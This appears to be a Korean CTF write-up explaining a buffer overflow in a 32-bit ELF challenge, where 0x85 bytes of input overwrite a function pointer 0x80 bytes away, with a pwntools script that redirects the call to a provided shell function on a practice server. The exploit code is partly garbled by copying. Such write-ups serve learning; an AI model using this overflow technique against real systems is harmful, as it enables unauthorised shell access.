반응형

32 bit elf 파일이 주어진다.

 

IDA로 까보자.

헥스레이로 봤을 때 나만 그런건지 더럽게 나오길레 그냥 어셈코드를 봤다.

 

 

 

1. ebp+var_C 에 sup()함수의 주소를 저장한다.

2. ebp+s에 0x85만큼 입력을 받는다.

3. call [ebp+var_C]

 

여기서 ebp+var_C = ebp - 0x0c이고

ebp+s = ebp - 0x8c 이다. 둘 사이간의 거리는 0x80이다.

 

정리하면,

 

낮은주소  ebp-0x8c   <---- 0x80 ----> ebp-0x8c 높은주소

             -------------------------------0x85------>

 

바이너리에서 shell함수를 제공해준다. call을 하는 ebp-0x8c의 값을 shell함수의 주소로 덮어주면 된다,

 

 

ex.py

 

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3001)
 
shellf = 0x0804849b
sleep(1)
 
payload = "A" * 128
payload += p32(shellf)
 
p.sendline(payload)
 
p.interactive()
cs
반응형

+ Recent posts